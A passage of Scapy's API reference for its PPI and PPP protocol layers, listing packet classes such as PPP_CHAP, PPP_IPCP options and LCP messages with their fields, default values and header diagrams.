+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DLT                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HEADERS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. PPI                             


PPI fields






	version

	ByteField

	0



	flags

	ByteField

	0



	len

	FieldLenField

	None



	dlt

	LEIntField

	None



	headers

	PacketListField

	[]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L79-L82]

	








	
class scapy.layers.ppi.PPI_Element(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L44-L57]

	Bases: Packet

Superclass for all PPI types.


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L48-L49]

	




	
static length_from(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L51-L57]

	








	
class scapy.layers.ppi.PPI_Hdr(_pkt, /, *, pfh_type=0, pfh_length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L33-L41]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PFH TYPE           |           PFH LENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PPI_Hdr                           


PPI_Hdr fields






	pfh_type

	LEShortEnumField

	0



	pfh_length

	LenField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppi.py#L40-L41]

	




	
payload_guess

	Possible sublayers:
PPI_Dot11Common, PPI_Geotag_Antenna, PPI_Geotag_GPS, PPI_Geotag_Sensor, PPI_Geotag_Vector, BTLE_PPI












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.ppp

PPP (Point to Point Protocol)

[RFC 1661]


	
class scapy.layers.ppp.DIR_PPP(_pkt, /, *, direction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L285-L286]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DIRECTION   |
+-+-+-+-+-+-+-+-+

                           Fig. DIR_PPP                           


DIR_PPP fields






	direction

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
PPP










	
class scapy.layers.ppp.HDLC(_pkt, /, *, address=255, control=3)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L279-L281]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ADDRESS    |    CONTROL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. HDLC                             


HDLC fields






	address

	XByteField

	255



	control

	XByteField

	3











	
payload_guess

	Possible sublayers:
PPP










	
class scapy.layers.ppp.PPP(_pkt, /, *, proto=33)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L331-L339]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L335-L339]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. PPP                             


PPP fields






	proto

	_PPPProtoField

	33











	
payload_guess

	Possible sublayers:
EAP, IP, IPv6, PPP_CHAP, PPP_ECP, PPP_IPCP, PPP_LCP, PPP_PAP










	
class scapy.layers.ppp.PPP_CHAP(_pkt, /, *, code=1, id=0, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L828-L864]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L838-L841]

	




	
classmethod dispatch_hook(_pkt=None, *_, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L843-L855]

	




	
extract_padding(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L857-L858]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. PPP_CHAP                           


PPP_CHAP fields






	code

	ByteEnumField

	1



	id

	XByteField

	0



	len

	FieldLenField

	None



	data

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L860-L864]

	








	
class scapy.layers.ppp.PPP_CHAP_ChallengeResponse(_pkt, /, *, code=1, id=0, len=None, value_size=None, value=b'\x00\x00\x00\x00\x00\x00\x00\x00', optional_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L867-L898]

	Bases: PPP_CHAP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L882-L884]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   VALUE SIZE  |             VALUE             | OPTIONAL NAME |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                 Fig. PPP_CHAP_ChallengeResponse                  


PPP_CHAP_ChallengeResponse fields






	code

	ByteEnumField

	1



	id

	XByteField

	0



	len

	FieldLenField

	None



	value_size

	FieldLenField

	None



	value

	XStrLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	optional_name

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L886-L898]

	








	
class scapy.layers.ppp.PPP_ECP(_pkt, /, *, code=1, id=0, len=None, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L483-L491]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PPP_ECP                           


PPP_ECP fields






	code

	ByteEnumField

	1



	id

	XByteField

	0



	len

	FieldLenField

	None



	options

	PacketListField

	[]















	
class scapy.layers.ppp.PPP_ECP_Option(_pkt, /, *, type=None, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L446-L469]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L464-L469]

	




	
extract_padding(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L455-L456]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPP_ECP_Option                        


PPP_ECP_Option fields






	type

	ByteEnumField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	b''











	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L460-L462]

	




	
registered_options = {0: <class 'scapy.layers.ppp.PPP_ECP_Option_OUI'>, None: <class 'scapy.layers.ppp.PPP_ECP_Option'>}

	








	
class scapy.layers.ppp.PPP_ECP_Option_OUI(_pkt, /, *, type=0, len=None, oui=0, subtype=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L472-L480]

	Bases: PPP_ECP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              OUI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    SUBTYPE    |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. PPP_ECP_Option_OUI                      


PPP_ECP_Option_OUI fields






	type

	ByteEnumField

	0



	len

	FieldLenField

	None



	oui

	OUIField

	0



	subtype

	ByteField

	0



	data

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_IPCP(_pkt, /, *, code=1, id=0, len=None, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L429-L437]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. PPP_IPCP                           


PPP_IPCP fields






	code

	ByteEnumField

	1



	id

	XByteField

	0



	len

	FieldLenField

	None



	options

	PacketListField

	[]















	
class scapy.layers.ppp.PPP_IPCP_Option(_pkt, /, *, type=None, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L372-L395]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L390-L395]

	




	
extract_padding(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L381-L382]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPP_IPCP_Option                       


PPP_IPCP_Option fields






	type

	ByteEnumField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	b''











	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L386-L388]

	




	
registered_options = {129: <class 'scapy.layers.ppp.PPP_IPCP_Option_DNS1'>, 130: <class 'scapy.layers.ppp.PPP_IPCP_Option_NBNS1'>, 131: <class 'scapy.layers.ppp.PPP_IPCP_Option_DNS2'>, 132: <class 'scapy.layers.ppp.PPP_IPCP_Option_NBNS2'>, 3: <class 'scapy.layers.ppp.PPP_IPCP_Option_IPAddress'>, None: <class 'scapy.layers.ppp.PPP_IPCP_Option'>}

	








	
class scapy.layers.ppp.PPP_IPCP_Option_DNS1(_pkt, /, *, type=129, len=None, data='0.0.0.0', garbage=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L409-L411]

	Bases: PPP_IPCP_Option_IPAddress


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            GARBAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PPP_IPCP_Option_DNS1                     


PPP_IPCP_Option_DNS1 fields






	type

	ByteEnumField

	129



	len

	FieldLenField

	None



	data

	IPField

	'0.0.0.0'



	garbage

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_IPCP_Option_DNS2(_pkt, /, *, type=131, len=None, data='0.0.0.0', garbage=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L414-L416]

	Bases: PPP_IPCP_Option_IPAddress


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            GARBAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PPP_IPCP_Option_DNS2                     


PPP_IPCP_Option_DNS2 fields






	type

	ByteEnumField

	131



	len

	FieldLenField

	None



	data

	IPField

	'0.0.0.0'



	garbage

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_IPCP_Option_IPAddress(_pkt, /, *, type=3, len=None, data='0.0.0.0', garbage=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L398-L406]

	Bases: PPP_IPCP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            GARBAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PPP_IPCP_Option_IPAddress                  


PPP_IPCP_Option_IPAddress fields






	type

	ByteEnumField

	3



	len

	FieldLenField

	None



	data

	IPField

	'0.0.0.0'



	garbage

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_IPCP_Option_NBNS1(_pkt, /, *, type=130, len=None, data='0.0.0.0', garbage=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L419-L421]

	Bases: PPP_IPCP_Option_IPAddress


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            GARBAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PPP_IPCP_Option_NBNS1                    


PPP_IPCP_Option_NBNS1 fields






	type

	ByteEnumField

	130



	len

	FieldLenField

	None



	data

	IPField

	'0.0.0.0'



	garbage

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_IPCP_Option_NBNS2(_pkt, /, *, type=132, len=None, data='0.0.0.0', garbage=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L424-L426]

	Bases: PPP_IPCP_Option_IPAddress


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            GARBAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PPP_IPCP_Option_NBNS2                    


PPP_IPCP_Option_NBNS2 fields






	type

	ByteEnumField

	132



	len

	FieldLenField

	None



	data

	IPField

	'0.0.0.0'



	garbage

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_LCP(_pkt, /, *, code=5, id=0, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L509-L543]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L525-L543]

	




	
extract_padding(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L522-L523]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PPP_LCP                           


PPP_LCP fields






	code

	ByteEnumField

	5



	id

	XByteField

	0



	len

	FieldLenField

	None



	data

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L519-L520]

	








	
class scapy.layers.ppp.PPP_LCP_ACCM_Option(_pkt, /, *, type=2, len=6, accm=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L602-L607]

	Bases: PPP_LCP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              ACCM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PPP_LCP_ACCM_Option                     


PPP_LCP_ACCM_Option fields






	type

	ByteEnumField

	2



	len

	ByteField

	6



	accm

	BitField  (32 bits)

	0















	
class scapy.layers.ppp.PPP_LCP_Auth_Protocol_Option(_pkt, /, *, type=3, len=None, auth_protocol=49187, data=b'', algorithm=5)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L619-L633]

	Bases: PPP_LCP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |         AUTH PROTOCOL         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |   ALGORITHM   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PPP_LCP_Auth_Protocol_Option                 


PPP_LCP_Auth_Protocol_Option fields






	type

	ByteEnumField

	3



	len

	FieldLenField

	None



	auth_protocol

	ShortEnumField

	49187



	data

	StrLenField (Cond)

	b''



	algorithm

	ByteEnumField (Cond)

	5















	
class scapy.layers.ppp.PPP_LCP_Callback_Option(_pkt, /, *, type=13, len=None, operation=0, message=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L666-L673]

	Bases: PPP_LCP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |   OPERATION   |    MESSAGE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. PPP_LCP_Callback_Option                   


PPP_LCP_Callback_Option fields






	type

	ByteEnumField

	13



	len

	FieldLenField

	None



	operation

	ByteEnumField

	0



	message

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_LCP_Code_Reject(_pkt, /, *, code=7, id=0, len=None, rejected_packet=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L702-L709]

	Bases: PPP_LCP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        REJECTED PACKET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PPP_LCP_Code_Reject                     


PPP_LCP_Code_Reject fields






	code

	ByteEnumField

	7



	id

	XByteField

	0



	len

	FieldLenField

	None



	rejected_packet

	PacketField

	None















	
class scapy.layers.ppp.PPP_LCP_Configure(_pkt, /, *, code=1, id=0, len=None, options=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L676-L690]

	Bases: PPP_LCP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L686-L690]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. PPP_LCP_Configure                      


PPP_LCP_Configure fields






	code

	ByteEnumField

	1



	id

	XByteField

	0



	len

	FieldLenField

	None



	options

	PacketListField

	[]















	
class scapy.layers.ppp.PPP_LCP_Discard_Request(_pkt, /, *, code=11, id=0, len=None, magic_number=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L723-L731]

	Bases: PPP_LCP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC NUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PPP_LCP_Discard_Request                   


PPP_LCP_Discard_Request fields






	code

	ByteEnumField

	11



	id

	XByteField

	0



	len

	FieldLenField

	None



	magic_number

	IntField

	None



	data

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_LCP_Echo(_pkt, /, *, code=9, id=0, len=None, magic_number=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L734-L741]

	Bases: PPP_LCP_Discard_Request


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L737-L741]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC NUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PPP_LCP_Echo                         


PPP_LCP_Echo fields






	code

	ByteEnumField

	9



	id

	XByteField

	0



	len

	FieldLenField

	None



	magic_number

	IntField

	None



	data

	StrLenField

	b''















	
class scapy.layers.ppp.PPP_LCP_MRU_Option(_pkt, /, *, type=1, len=4, max_recv_unit=1500)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/ppp.py#L582-L585]

	Bases: PPP_LCP_Option


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |         MAX RECV UNIT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

